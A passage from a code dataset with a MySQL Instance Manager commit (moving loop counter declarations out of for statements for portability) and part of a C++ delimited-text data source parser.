(do_command(net, instance_name))\n      return ER_OUT_OF_RESOURCES;\n    return 0;\n  }\n  else\n  {\n    return ER_BAD_INSTANCE_NAME;\n  }\n}\n\n\n\/* Implementation for Start_instance *\/\n\nStart_instance::Start_instance(Instance_map *instance_map_arg,\n                               const char *name, uint len)\n  :Command(instance_map_arg)\n{\n  \/* we make a search here, since we don't want t store the name *\/\n  if ((instance= instance_map->find(name, len)))\n    instance_name= instance->options.instance_name;\n}\n\n\nint Start_instance::execute(struct st_net *net, ulong connection_id)\n{\n  uint err_code;\n  if (instance == 0)\n  {\n    return ER_BAD_INSTANCE_NAME; \/* haven't found an instance *\/\n  }\n  else\n  {\n    if ((err_code= instance->start()))\n      return err_code;\n\n    if (!(instance->options.nonguarded))\n        instance_map->guardian->guard(instance);\n\n    net_send_ok(net, connection_id);\n    return 0;\n  }\n}\n\n\n\/* Implementation for Stop_instance: *\/\n\nStop_instance::Stop_instance(Instance_map *instance_map_arg,\n                               const char *name, uint len)\n  :Command(instance_map_arg)\n{\n  \/* we make a search here, since we don't want t store the name *\/\n  if ((instance= instance_map->find(name, len)))\n    instance_name= instance->options.instance_name;\n}\n\n\nint Stop_instance::execute(struct st_net *net, ulong connection_id)\n{\n  uint err_code;\n\n  if (instance == 0)\n  {\n    return ER_BAD_INSTANCE_NAME; \/* haven't found an instance *\/\n  }\n  else\n  {\n    if (!(instance->options.nonguarded))\n        instance_map->guardian->\n               stop_guard(instance);\n    if ((err_code= instance->stop()))\n      return err_code;\n    net_send_ok(net, connection_id);\n    return 0;\n  }\n}\n\n\nint Syntax_error::execute(struct st_net *net, ulong connection_id)\n{\n  return ER_SYNTAX_ERROR;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/* Copyright (C) 2003 MySQL AB & MySQL Finland AB & TCX DataKonsult AB\n\n   This program is free software; you can redistribute it and\/or modify\n   it under the terms of the GNU General Public License as published by\n   the Free Software Foundation; either version 2 of the License, or\n   (at your option) any later version.\n\n   This program is distributed in the hope that it will be useful,\n   but WITHOUT ANY WARRANTY; without even the implied warranty of\n   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n   GNU General Public License for more details.\n\n   You should have received a copy of the GNU General Public License\n   along with this program; if not, write to the Free Software\n   Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA *\/\n\n#if defined(__GNUC__) && defined(USE_PRAGMA_IMPLEMENTATION)\n#pragma implementation\n#endif\n\n#include \"listener.h\"\n#include \"priv.h\"\n#include <m_string.h>\n#include <mysql.h>\n#include <violite.h>\n#ifndef __WIN__\n#include <sys\/un.h>\n#endif\n#include <sys\/stat.h>\n\n#include \"thread_registry.h\"\n#include \"options.h\"\n#include \"instance_map.h\"\n#include \"log.h\"\n#include \"mysql_connection.h\"\n#include \"portability.h\"\n\n\n\/*\n  Listener_thread - incapsulates listening functionality\n*\/\n\nclass Listener_thread: public Listener_thread_args\n{\npublic:\n  Listener_thread(const Listener_thread_args &args);\n  ~Listener_thread();\n  void run();\nprivate:\n  static const int LISTEN_BACK_LOG_SIZE= 5;     \/* standard backlog size *\/\n  ulong total_connection_count;\n  Thread_info thread_info;\n\n  int     sockets[2];\n  int     num_sockets;\n  fd_set  read_fds;\nprivate:\n  void handle_new_mysql_connection(Vio *vio);\n  int   create_tcp_socket();\n  int   create_unix_socket(struct sockaddr_un &unix_socket_address);\n};\n\n\nListener_thread::Listener_thread(const Listener_thread_args &args) :\n  Listener_thread_args(args.thread_registry, args.options, args.user_map,\n                       args.instance_map)\n  ,total_connection_count(0)\n  ,thread_info(pthread_self())\n  ,num_sockets(0)\n{\n}\n\n\nListener_thread::~Listener_thread()\n{\n}\n\n\n\/*\n  Listener_thread::run() - listen all supported sockets and spawn a thread\n  to handle incoming connection.\n  Using 'die' in case of syscall failure is OK now - we don't hold any\n  resources and 'die' kills the signal thread automatically. To be rewritten\n  one day.\n  See also comments in mysqlmanager.cc to picture general Instance Manager\n  architecture.\n*\/\n\nvoid Listener_thread::run()\n{\n  int n= 0;\n\n#ifndef __WIN__\n  \/* we use this var to check whether we are running on LinuxThreads *\/\n  pid_t thread_pid;\n\n  thread_pid= getpid();\n\n  struct sockaddr_un unix_socket_address;\n  \/* set global variable *\/\n  linuxthreads= (thread_pid != manager_pid);\n#endif\n\n  thread_registry.register_thread(&thread_info);\n\n  my_thread_init();\n\n  FD_ZERO(&read_fds);\n\n  \/* I. prepare 'listen' sockets *\/\n  if (create_tcp_socket())\n    goto err;\n\n#ifndef __WIN__\n  if (create_unix_socket(unix_socket_address))\n    goto err;\n#endif\n\n  \/* II. Listen sockets and spawn childs *\/\n  for (int i= 0; i < num_sockets; i++)\n    n= max(n, sockets[i]);\n  n++;\n\n  timeval tv;\n  while (!thread_registry.is_shutdown())\n  {\n    fd_set read_fds_arg= read_fds;\n    \/*\n      We should reintialize timer as on linux it is modified\n      to reflect amount of time not slept.\n    *\/\n    tv.tv_sec= 0;\n    tv.tv_usec= 100000;\n\n    \/*\n      When using valgrind 2.0 this syscall doesn't get kicked off by a\n      signal during shutdown. This results in failing assert\n      (Thread_registry::~Thread_registry). Valgrind 2.2 works fine.\n    *\/\n    int rc= select(n, &read_fds_arg, 0, 0, &tv);\n\n    if (rc == 0 || rc == -1)\n    {\n      if (rc == -1 && errno != EINTR)\n        log_error(\"Listener_thread::run(): select() failed, %s\",\n                  strerror(errno));\n      continue;\n    }\n\n\n    for (int socket_index= 0; socket_index < num_sockets; socket_index++)\n    {\n      \/* Assuming that rc > 0 as we asked to wait forever *\/\n      if (FD_ISSET(sockets[socket_index], &read_fds_arg))\n      {\n        int client_fd= accept(sockets[socket_index], 0, 0);\n        \/* accept may return -1 (failure or spurious wakeup) *\/\n        if (client_fd >= 0)                    \/\/ connection established\n        {\n          Vio *vio= vio_new(client_fd, socket_index == 0 ?\n                            VIO_TYPE_SOCKET : VIO_TYPE_TCPIP,\n                            socket_index == 0 ? 1 : 0);\n          if (vio != 0)\n            handle_new_mysql_connection(vio);\n          else\n          {\n            shutdown(client_fd, SHUT_RDWR);\n            close(client_fd);\n          }\n        }\n      }\n    }\n  }\n\n  \/* III. Release all resources and exit *\/\n\n  log_info(\"Listener_thread::run(): shutdown requested, exiting...\");\n\n  for (int i= 0; i < num_sockets; i++)\n    close(sockets[i]);\n\n#ifndef __WIN__\n  unlink(unix_socket_address.sun_path);\n#endif\n\n  thread_registry.unregister_thread(&thread_info);\n  my_thread_end();\n  return;\n\nerr:\n  \/\/ we have to close the ip sockets in case of error\n  for (int i= 0; i < num_sockets; i++)\n    close(sockets[i]);\n\n  thread_registry.unregister_thread(&thread_info);\n  thread_registry.request_shutdown();\n  my_thread_end();\n  return;\n}\n\nvoid set_non_blocking(int socket)\n{\n#ifndef __WIN__\n  int flags= fcntl(socket, F_GETFL, 0);\n  fcntl(socket, F_SETFL, flags | O_NONBLOCK);\n#else\n  u_long arg= 1;\n  ioctlsocket(socket, FIONBIO, &arg);\n#endif\n}\n\nvoid set_no_inherit(int socket)\n{\n#ifndef __WIN__\n  int flags= fcntl(socket, F_GETFD, 0);\n  fcntl(socket, F_SETFD, flags | FD_CLOEXEC);\n#endif\n}\n\nint Listener_thread::create_tcp_socket()\n{\n  \/* value to be set by setsockopt *\/\n  int arg= 1;\n\n  int ip_socket= socket(AF_INET, SOCK_STREAM, 0);\n  if (ip_socket == INVALID_SOCKET)\n  {\n    log_error(\"Listener_thead::run(): socket(AF_INET) failed, %s\",\n              strerror(errno));\n    return -1;\n  }\n\n  struct sockaddr_in ip_socket_address;\n  bzero(&ip_socket_address, sizeof(ip_socket_address));\n\n  ulong im_bind_addr;\n  if (options.bind_address != 0)\n  {\n    if ((im_bind_addr= (ulong) inet_addr(options.bind_address)) == INADDR_NONE)\n      im_bind_addr= htonl(INADDR_ANY);\n  }\n  else\n    im_bind_addr= htonl(INADDR_ANY);\n  uint im_port= options.port_number;\n\n  ip_socket_address.sin_family= AF_INET;\n  ip_socket_address.sin_addr.s_addr= im_bind_addr;\n\n\n  ip_socket_address.sin_port= (unsigned short)\n    htons((unsigned short) im_port);\n\n  setsockopt(ip_socket, SOL_SOCKET, SO_REUSEADDR, (char*) &arg, sizeof(arg));\n  if (bind(ip_socket, (struct sockaddr *) &ip_socket_address,\n           sizeof(ip_socket_address)))\n  {\n    log_error(\"Listener_thread::run(): bind(ip socket) failed, '%s'\",\n              strerror(errno));\n    close(ip_socket);\n    return -1;\n  }\n\n  if (listen(ip_socket, LISTEN_BACK_LOG_SIZE))\n  {\n    log_error(\"Listener_thread::run(): listen(ip socket) failed, %s\",\n              strerror(errno));\n    close(ip_socket);\n    return -1;\n  }\n\n  \/* set the socket nonblocking *\/\n  set_non_blocking(ip_socket);\n\n  \/* make sure that instances won't be listening our sockets *\/\n  set_no_inherit(ip_socket);\n\n  FD_SET(ip_socket, &read_fds);\n  sockets[num_sockets++]= ip_socket;\n  log_info(\"accepting connections on ip socket\");\n  return 0;\n}\n\n#ifndef __WIN__\nint Listener_thread::\ncreate_unix_socket(struct sockaddr_un &unix_socket_address)\n{\n  int unix_socket= socket(AF_UNIX, SOCK_STREAM, 0);\n  if (unix_socket == INVALID_SOCKET)\n  {\n    log_error(\"Listener_thead::run(): socket(AF_UNIX) failed, %s\",\n              strerror(errno));\n    return -1;\n  }\n\n  bzero(&unix_socket_address, sizeof(unix_socket_address));\n\n  unix_socket_address.sun_family= AF_UNIX;\n  strmake(unix_socket_address.sun_path, options.socket_file_name,\n          sizeof(unix_socket_address.sun_path));\n  unlink(unix_socket_address.sun_path); \/\/ in case we have stale socket file\n\n  \/*\n    POSIX specifies default permissions for a pathname created by bind\n    to be 0777. We need everybody to have access to the socket.\n  *\/\n  mode_t old_mask= umask(0);\n  if (bind(unix_socket, (struct sockaddr *) &unix_socket_address,\n           sizeof(unix_socket_address)))\n  {\n    log_error(\"Listener_thread::run(): bind(unix socket) failed, \"\n              \"socket file name is '%s', error '%s'\",\n              unix_socket_address.sun_path, strerror(errno));\n    close(unix_socket);\n    return -1;\n  }\n\n  umask(old_mask);\n\n  if (listen(unix_socket, LISTEN_BACK_LOG_SIZE))\n  {\n    log_error(\"Listener_thread::run(): listen(unix socket) failed, %s\",\n              strerror(errno));\n    close(unix_socket);\n    return -1;\n  }\n\n  \/* set the socket nonblocking *\/\n  set_non_blocking(unix_socket);\n\n  \/* make sure that instances won't be listening our sockets *\/\n  set_no_inherit(unix_socket);\n\n  log_info(\"accepting connections on unix socket %s\",\n           unix_socket_address.sun_path);\n  sockets[num_sockets++]= unix_socket;\n  FD_SET(unix_socket, &read_fds);\n  return 0;\n}\n#endif\n\n\n\/*\n  Create new mysql connection. Created thread is responsible for deletion of\n  the Mysql_connection_thread_args and Vio instances passed to it.\n  SYNOPSYS\n    handle_new_mysql_connection()\n*\/\n\nvoid Listener_thread::handle_new_mysql_connection(Vio *vio)\n{\n  if (Mysql_connection_thread_args *mysql_thread_args=\n      new Mysql_connection_thread_args(vio, thread_registry, user_map,\n                                       ++total_connection_count,\n                                       instance_map)\n      )\n  {\n    \/*\n      Initialize thread attributes to create detached thread; it seems\n      easier to do it ad-hoc than have a global variable for attributes.\n    *\/\n    pthread_t mysql_thd_id;\n    pthread_attr_t mysql_thd_attr;\n    pthread_attr_init(&mysql_thd_attr);\n    pthread_attr_setdetachstate(&mysql_thd_attr, PTHREAD_CREATE_DETACHED);\n    if (set_stacksize_n_create_thread(&mysql_thd_id, &mysql_thd_attr,\n                                      mysql_connection, mysql_thread_args))\n    {\n      delete mysql_thread_args;\n      vio_delete(vio);\n      log_error(\"handle_one_mysql_connection():\"\n                \"set_stacksize_n_create_thread(mysql) failed\");\n    }\n    pthread_attr_destroy(&mysql_thd_attr);\n  }\n  else\n    vio_delete(vio);\n}\n\n\npthread_handler_t listener(void *arg)\n{\n  Listener_thread_args *args= (Listener_thread_args *) arg;\n  Listener_thread listener(*args);\n  listener.run();\n  \/*\n    args is a stack variable because listener thread lives as long as the\n    manager process itself\n  *\/\n  return 0;\n}\n\n<commit_msg>  relying on loop counter variables being local to the loop body if    declared in the 'for' statement is not portable, some compilers   still don't implement this ANSI C++ specification (Bug #14995)<commit_after>\/* Copyright (C) 2003 MySQL AB & MySQL Finland AB & TCX DataKonsult AB\n\n   This program is free software; you can redistribute it and\/or modify\n   it under the terms of the GNU General Public License as published by\n   the Free Software Foundation; either version 2 of the License, or\n   (at your option) any later version.\n\n   This program is distributed in the hope that it will be useful,\n   but WITHOUT ANY WARRANTY; without even the implied warranty of\n   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n   GNU General Public License for more details.\n\n   You should have received a copy of the GNU General Public License\n   along with this program; if not, write to the Free Software\n   Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA *\/\n\n#if defined(__GNUC__) && defined(USE_PRAGMA_IMPLEMENTATION)\n#pragma implementation\n#endif\n\n#include \"listener.h\"\n#include \"priv.h\"\n#include <m_string.h>\n#include <mysql.h>\n#include <violite.h>\n#ifndef __WIN__\n#include <sys\/un.h>\n#endif\n#include <sys\/stat.h>\n\n#include \"thread_registry.h\"\n#include \"options.h\"\n#include \"instance_map.h\"\n#include \"log.h\"\n#include \"mysql_connection.h\"\n#include \"portability.h\"\n\n\n\/*\n  Listener_thread - incapsulates listening functionality\n*\/\n\nclass Listener_thread: public Listener_thread_args\n{\npublic:\n  Listener_thread(const Listener_thread_args &args);\n  ~Listener_thread();\n  void run();\nprivate:\n  static const int LISTEN_BACK_LOG_SIZE= 5;     \/* standard backlog size *\/\n  ulong total_connection_count;\n  Thread_info thread_info;\n\n  int     sockets[2];\n  int     num_sockets;\n  fd_set  read_fds;\nprivate:\n  void handle_new_mysql_connection(Vio *vio);\n  int   create_tcp_socket();\n  int   create_unix_socket(struct sockaddr_un &unix_socket_address);\n};\n\n\nListener_thread::Listener_thread(const Listener_thread_args &args) :\n  Listener_thread_args(args.thread_registry, args.options, args.user_map,\n                       args.instance_map)\n  ,total_connection_count(0)\n  ,thread_info(pthread_self())\n  ,num_sockets(0)\n{\n}\n\n\nListener_thread::~Listener_thread()\n{\n}\n\n\n\/*\n  Listener_thread::run() - listen all supported sockets and spawn a thread\n  to handle incoming connection.\n  Using 'die' in case of syscall failure is OK now - we don't hold any\n  resources and 'die' kills the signal thread automatically. To be rewritten\n  one day.\n  See also comments in mysqlmanager.cc to picture general Instance Manager\n  architecture.\n*\/\n\nvoid Listener_thread::run()\n{\n  int i, n= 0;\n\n#ifndef __WIN__\n  \/* we use this var to check whether we are running on LinuxThreads *\/\n  pid_t thread_pid;\n\n  thread_pid= getpid();\n\n  struct sockaddr_un unix_socket_address;\n  \/* set global variable *\/\n  linuxthreads= (thread_pid != manager_pid);\n#endif\n\n  thread_registry.register_thread(&thread_info);\n\n  my_thread_init();\n\n  FD_ZERO(&read_fds);\n\n  \/* I. prepare 'listen' sockets *\/\n  if (create_tcp_socket())\n    goto err;\n\n#ifndef __WIN__\n  if (create_unix_socket(unix_socket_address))\n    goto err;\n#endif\n\n  \/* II. Listen sockets and spawn childs *\/\n  for (i= 0; i < num_sockets; i++)\n    n= max(n, sockets[i]);\n  n++;\n\n  timeval tv;\n  while (!thread_registry.is_shutdown())\n  {\n    fd_set read_fds_arg= read_fds;\n    \/*\n      We should reintialize timer as on linux it is modified\n      to reflect amount of time not slept.\n    *\/\n    tv.tv_sec= 0;\n    tv.tv_usec= 100000;\n\n    \/*\n      When using valgrind 2.0 this syscall doesn't get kicked off by a\n      signal during shutdown. This results in failing assert\n      (Thread_registry::~Thread_registry). Valgrind 2.2 works fine.\n    *\/\n    int rc= select(n, &read_fds_arg, 0, 0, &tv);\n\n    if (rc == 0 || rc == -1)\n    {\n      if (rc == -1 && errno != EINTR)\n        log_error(\"Listener_thread::run(): select() failed, %s\",\n                  strerror(errno));\n      continue;\n    }\n\n\n    for (int socket_index= 0; socket_index < num_sockets; socket_index++)\n    {\n      \/* Assuming that rc > 0 as we asked to wait forever *\/\n      if (FD_ISSET(sockets[socket_index], &read_fds_arg))\n      {\n        int client_fd= accept(sockets[socket_index], 0, 0);\n        \/* accept may return -1 (failure or spurious wakeup) *\/\n        if (client_fd >= 0)                    \/\/ connection established\n        {\n          Vio *vio= vio_new(client_fd, socket_index == 0 ?\n                            VIO_TYPE_SOCKET : VIO_TYPE_TCPIP,\n                            socket_index == 0 ? 1 : 0);\n          if (vio != 0)\n            handle_new_mysql_connection(vio);\n          else\n          {\n            shutdown(client_fd, SHUT_RDWR);\n            close(client_fd);\n          }\n        }\n      }\n    }\n  }\n\n  \/* III. Release all resources and exit *\/\n\n  log_info(\"Listener_thread::run(): shutdown requested, exiting...\");\n\n  for (i= 0; i < num_sockets; i++)\n    close(sockets[i]);\n\n#ifndef __WIN__\n  unlink(unix_socket_address.sun_path);\n#endif\n\n  thread_registry.unregister_thread(&thread_info);\n  my_thread_end();\n  return;\n\nerr:\n  \/\/ we have to close the ip sockets in case of error\n  for (i= 0; i < num_sockets; i++)\n    close(sockets[i]);\n\n  thread_registry.unregister_thread(&thread_info);\n  thread_registry.request_shutdown();\n  my_thread_end();\n  return;\n}\n\nvoid set_non_blocking(int socket)\n{\n#ifndef __WIN__\n  int flags= fcntl(socket, F_GETFL, 0);\n  fcntl(socket, F_SETFL, flags | O_NONBLOCK);\n#else\n  u_long arg= 1;\n  ioctlsocket(socket, FIONBIO, &arg);\n#endif\n}\n\nvoid set_no_inherit(int socket)\n{\n#ifndef __WIN__\n  int flags= fcntl(socket, F_GETFD, 0);\n  fcntl(socket, F_SETFD, flags | FD_CLOEXEC);\n#endif\n}\n\nint Listener_thread::create_tcp_socket()\n{\n  \/* value to be set by setsockopt *\/\n  int arg= 1;\n\n  int ip_socket= socket(AF_INET, SOCK_STREAM, 0);\n  if (ip_socket == INVALID_SOCKET)\n  {\n    log_error(\"Listener_thead::run(): socket(AF_INET) failed, %s\",\n              strerror(errno));\n    return -1;\n  }\n\n  struct sockaddr_in ip_socket_address;\n  bzero(&ip_socket_address, sizeof(ip_socket_address));\n\n  ulong im_bind_addr;\n  if (options.bind_address != 0)\n  {\n    if ((im_bind_addr= (ulong) inet_addr(options.bind_address)) == INADDR_NONE)\n      im_bind_addr= htonl(INADDR_ANY);\n  }\n  else\n    im_bind_addr= htonl(INADDR_ANY);\n  uint im_port= options.port_number;\n\n  ip_socket_address.sin_family= AF_INET;\n  ip_socket_address.sin_addr.s_addr= im_bind_addr;\n\n\n  ip_socket_address.sin_port= (unsigned short)\n    htons((unsigned short) im_port);\n\n  setsockopt(ip_socket, SOL_SOCKET, SO_REUSEADDR, (char*) &arg, sizeof(arg));\n  if (bind(ip_socket, (struct sockaddr *) &ip_socket_address,\n           sizeof(ip_socket_address)))\n  {\n    log_error(\"Listener_thread::run(): bind(ip socket) failed, '%s'\",\n              strerror(errno));\n    close(ip_socket);\n    return -1;\n  }\n\n  if (listen(ip_socket, LISTEN_BACK_LOG_SIZE))\n  {\n    log_error(\"Listener_thread::run(): listen(ip socket) failed, %s\",\n              strerror(errno));\n    close(ip_socket);\n    return -1;\n  }\n\n  \/* set the socket nonblocking *\/\n  set_non_blocking(ip_socket);\n\n  \/* make sure that instances won't be listening our sockets *\/\n  set_no_inherit(ip_socket);\n\n  FD_SET(ip_socket, &read_fds);\n  sockets[num_sockets++]= ip_socket;\n  log_info(\"accepting connections on ip socket\");\n  return 0;\n}\n\n#ifndef __WIN__\nint Listener_thread::\ncreate_unix_socket(struct sockaddr_un &unix_socket_address)\n{\n  int unix_socket= socket(AF_UNIX, SOCK_STREAM, 0);\n  if (unix_socket == INVALID_SOCKET)\n  {\n    log_error(\"Listener_thead::run(): socket(AF_UNIX) failed, %s\",\n              strerror(errno));\n    return -1;\n  }\n\n  bzero(&unix_socket_address, sizeof(unix_socket_address));\n\n  unix_socket_address.sun_family= AF_UNIX;\n  strmake(unix_socket_address.sun_path, options.socket_file_name,\n          sizeof(unix_socket_address.sun_path));\n  unlink(unix_socket_address.sun_path); \/\/ in case we have stale socket file\n\n  \/*\n    POSIX specifies default permissions for a pathname created by bind\n    to be 0777. We need everybody to have access to the socket.\n  *\/\n  mode_t old_mask= umask(0);\n  if (bind(unix_socket, (struct sockaddr *) &unix_socket_address,\n           sizeof(unix_socket_address)))\n  {\n    log_error(\"Listener_thread::run(): bind(unix socket) failed, \"\n              \"socket file name is '%s', error '%s'\",\n              unix_socket_address.sun_path, strerror(errno));\n    close(unix_socket);\n    return -1;\n  }\n\n  umask(old_mask);\n\n  if (listen(unix_socket, LISTEN_BACK_LOG_SIZE))\n  {\n    log_error(\"Listener_thread::run(): listen(unix socket) failed, %s\",\n              strerror(errno));\n    close(unix_socket);\n    return -1;\n  }\n\n  \/* set the socket nonblocking *\/\n  set_non_blocking(unix_socket);\n\n  \/* make sure that instances won't be listening our sockets *\/\n  set_no_inherit(unix_socket);\n\n  log_info(\"accepting connections on unix socket %s\",\n           unix_socket_address.sun_path);\n  sockets[num_sockets++]= unix_socket;\n  FD_SET(unix_socket, &read_fds);\n  return 0;\n}\n#endif\n\n\n\/*\n  Create new mysql connection. Created thread is responsible for deletion of\n  the Mysql_connection_thread_args and Vio instances passed to it.\n  SYNOPSYS\n    handle_new_mysql_connection()\n*\/\n\nvoid Listener_thread::handle_new_mysql_connection(Vio *vio)\n{\n  if (Mysql_connection_thread_args *mysql_thread_args=\n      new Mysql_connection_thread_args(vio, thread_registry, user_map,\n                                       ++total_connection_count,\n                                       instance_map)\n      )\n  {\n    \/*\n      Initialize thread attributes to create detached thread; it seems\n      easier to do it ad-hoc than have a global variable for attributes.\n    *\/\n    pthread_t mysql_thd_id;\n    pthread_attr_t mysql_thd_attr;\n    pthread_attr_init(&mysql_thd_attr);\n    pthread_attr_setdetachstate(&mysql_thd_attr, PTHREAD_CREATE_DETACHED);\n    if (set_stacksize_n_create_thread(&mysql_thd_id, &mysql_thd_attr,\n                                      mysql_connection, mysql_thread_args))\n    {\n      delete mysql_thread_args;\n      vio_delete(vio);\n      log_error(\"handle_one_mysql_connection():\"\n                \"set_stacksize_n_create_thread(mysql) failed\");\n    }\n    pthread_attr_destroy(&mysql_thd_attr);\n  }\n  else\n    vio_delete(vio);\n}\n\n\npthread_handler_t listener(void *arg)\n{\n  Listener_thread_args *args= (Listener_thread_args *) arg;\n  Listener_thread listener(*args);\n  listener.run();\n  \/*\n    args is a stack variable because listener thread lives as long as the\n    manager process itself\n  *\/\n  return 0;\n}\n\n<|endoftext|>"}
{"text":"<commit_before>#include \"text.hpp\"\n#include \"..\/data\/data_library.hpp\"\n#include \"..\/utility\/error.hpp\"\n#include \"..\/json\/json.hpp\"\n\n#include <QFileInfo>\n\n#include <iostream>\n#include <sstream>\n#include <fstream>\n\nusing namespace std;\n\nnamespace datavis {\n\nstring TextSourceParser::m_possible_delimiters = \" \\t;:|\/\\\\\";\n\nbool TextSourceParser::isPossibleDelimiter(char c)\n{\n    return m_possible_delimiters.find(c) != string::npos;\n}\n\nTextSourceParser::Format TextSourceParser::inferFormat(const string &line)\n{\n    Format format;\n\n    if (line.empty())\n        throw Error(\"Empty line.\");\n\n    if (line[0] == '\"' || line[0] == '\\'')\n    {\n        format.quoted = true;\n        format.quote_mark = line[0];\n    }\n\n    int index = 0;\n\n    string::size_type pos = 0;\n    while(pos < line.size())\n    {\n        ++index;\n\n        \/\/ Skip a field (all characters until a possible delimiter)\n\n        if (format.quoted)\n        {\n            if (line[pos] != format.quote_mark)\n                throw Error(\"Field without opening quotation mark.\");\n            pos = line.find(format.quote_mark, pos+1);\n            if (pos == string::npos)\n                throw Error(\"Field without closing quotation mark.\");\n            ++pos;\n            if (pos < line.size())\n            {\n                if (index == 1)\n                {\n                        if (!isPossibleDelimiter(line[pos]))\n                            throw Error(\"Quoted field is not followed by a delimiter.\");\n                        format.delimiter = line[pos];\n                 }\n                else\n                {\n                    if (line[pos] != format.delimiter)\n                        throw Error(\"Quoted field is not followed by the delimiter.\");\n                }\n                ++pos;\n            }\n        }\n        else\n        {\n            if (index == 1)\n            {\n                for(; pos < line.size(); ++pos)\n                {\n                    if (isPossibleDelimiter(line[pos]))\n                    {\n                        format.delimiter = line[pos];\n                        ++pos;\n                        break;\n                    }\n                }\n            }\n            else\n            {\n                pos = line.find(format.delimiter, pos);\n                if (pos != string::npos)\n                    ++pos;\n            }\n        }\n    }\n\n    format.count = index;\n\n    return format;\n}\n\nTextSourceParser::TextSourceParser(const Format & format):\n    m_format(format)\n{\n#if 0\n    cerr << \"Created parser with format: \" << endl\n         << \"- Quoted: \" << m_format.quoted << endl\n         << \"- Quote mark: '\" << m_format.quote_mark << \"'\" << endl\n         << \"- Delimiter: '\" << m_format.delimiter << \"'\" << endl\n         << \"- Count: \" << m_format.count << endl;\n#endif\n}\n\nvector<string> TextSourceParser::parse(const string & line)\n{\n    vector<string> fields;\n\n    if (line.empty())\n        throw Error(\"Empty line.\");\n\n    string::size_type pos = 0;\n    int index = 0;\n\n    if (m_format.quoted)\n    {\n        while (index < m_format.count && pos < line.size())\n        {\n            if (index > 0)\n            {\n                if (line[pos] != m_format.delimiter)\n                    throw Error(\"Missing delimiter after field.\");\n                ++pos;\n                if (pos >= line.size())\n                    throw Error(\"Missing field after delimiter.\");\n            }\n\n            if (line[pos] != m_format.quote_mark)\n                throw Error(\"Field without opening quotation mark.\");\n\n            ++pos;\n\n            string::size_type start = pos;\n\n            pos = line.find(m_format.quote_mark, pos);\n            if (pos == string::npos)\n                throw Error(\"Field without closing quotation mark.\");\n\n            string::size_type size = pos - start;\n\n            auto field = line.substr(start, size);\n            fields.push_back(field);\n\n            ++pos;\n            ++index;\n        }\n    }\n    else\n    {\n        while (index < m_format.count && pos < line.size())\n        {\n            string::size_type start = pos;\n            pos = line.find(m_format.delimiter, pos);\n\n            string field;\n            if (pos == string::npos)\n                field = line.substr(start);\n            else\n                field = line.substr(start, pos - start);\n\n            fields.push_back(field);\n\n            if (pos != string::npos)\n                ++pos;\n\n           ++index;\n        }\n    }\n\n    if (index < m_format.count)\n        throw Error(\"Too few fields.\");\n    if (pos < line.size())\n        throw Error(\"Unexpected data at end of line.\");\n\n    return fields;\n}\n\nTextSource::TextSource(const string & file_path, DataLibrary * lib):\n    DataSource(lib),\n    m_file_path(file_path)\n{\n    m_name = QFileInfo(QString::fromStdString(file_path)).fileName().toStdString();\n}\n\nDataSetInfo TextSource::info(int) const\n{\n    return inferInfo();\n}\n\nDataSetInfo TextSource::inferInfo() const\n{\n    DataSetInfo info;\n    info.id = \"data\";\n\n    ifstream file(m_file_path);\n    if (!file.is_open())\n        throw Error(\"Failed to open file.\");\n\n    string first_line;\n    std::getline(file, first_line);\n    if (!file)\n        throw Error(\"Failed to read a line.\");\n\n    auto format = TextSourceParser::inferFormat(first_line);\n    if (format.count < 1)\n        throw Error(\"No fields.\");\n\n    info.attributes.resize(format.count);\n\n    TextSourceParser parser(format);\n    auto fields = parser.parse(first_line);\n\n    bool has_field_names = false;\n    if (std::isalpha(fields.front()[0]))\n    {\n        has_field_names = true;\n        for (int i = 0; i < format.count; ++i)\n            info.attributes[i].name = fields[i];\n    }\n\n    {\n        int record_count = has_field_names ? 0 : 1;\n        string line;\n        while(std::getline(file, line))\n            ++record_count;\n\n        info.dimensions.resize(1);\n        info.dimensions.front().size = record_count;\n    }\n\n    return info;\n}\n\nDataSetPtr TextSource::dataset(int)\n{\n    if (!m_dataset)\n        m_dataset = getData();\n\n    return m_dataset;\n}\n\nDataSetPtr TextSource::getData()\n{\n    vector<string> lines;\n\n    {\n        ifstream file(m_file_path);\n        if (!file.is_open())\n            throw Error(\"Failed to open file.\");\n\n        string line;\n        while(std::getline(file, line))\n            lines.push_back(line);\n    }\n\n    if (lines.empty())\n        throw Error(\"No lines.\");\n\n    auto format = TextSourceParser::inferFormat(lines.front());\n    if (format.count < 1)\n        throw Error(\"No fields.\");\n\n    TextSourceParser parser(format);\n\n    auto fields = parser.parse(lines.front());\n    bool has_field_names = std::isalpha(fields.front()[0]);\n\n    size_t record_count = lines.size();\n    if (has_field_names) record_count -= 1;\n\n    vector<int> data_size { int(record_count) };\n    auto dataset = make_shared<DataSet>(\"data\", data_size, format.count);\n    dataset->setSource(this);\n\n    if (has_field_names)\n    {\n        for (int i = 0; i < format.count; ++i)\n            dataset->attribute(i).name = fields[i];\n    }\n\n    DataSet::Dimension dim;\n    dim.size = record_count;\n    dataset->setDimension(0, dim);\n\n    int line_index = has_field_names ? 1 : 0;\n    for (size_t record_index = 0; record_index < record_count; ++record_index, ++line_index)\n    {\n        auto fields = parser.parse(lines[line_index]);\n        for (int i = 0; i < format.count; ++i)\n        {\n            double value = stof(fields[i]);\n            dataset->data(i).data()[record_index] = value;\n        }\n    }\n\n    return dataset;\n}\n\nTextPackageSource::TextPackageSource(const string & path, DataLibrary * lib):\n    DataSource(lib),\n    m_dir_path(path),\n    \/\/ FIXME:\n    m_file_path(path + \"\/datapackage.json\")\n{\n    m_name = QFileInfo(QString::fromStdString(path)).fileName().toStdString();\n\n    parseDescriptor();\n}\n\nint TextPackageSource::index(const string & id) const\n{\n    for(int i = 0; i < m_members.size(); ++i)\n    {\n        if (m_members[i].info.id == id)\n            return i;\n    }\n\n    return -1;\n}\n\nDataSetInfo TextPackageSource::info(int index) const\n{\n    return m_members[index].info;\n}\n\nDataSetPtr TextPackageSource::dataset(int index)\n{\n    if (!m_members[index].dataset)\n        loadDataSet(index);\n\n    return m_members[index].dataset;\n}\n\nusing nlohmann::json;\n\nstatic void parseResourceDescription(TextPackageSource::Member & member, const json & data)\n{\n    string path = data.at(\"path\");\n\n    member.path = path;\n\n    member.info.id = path;\n\n    if (data.find(\"format\") != data.end())\n    {\n        auto format_data = 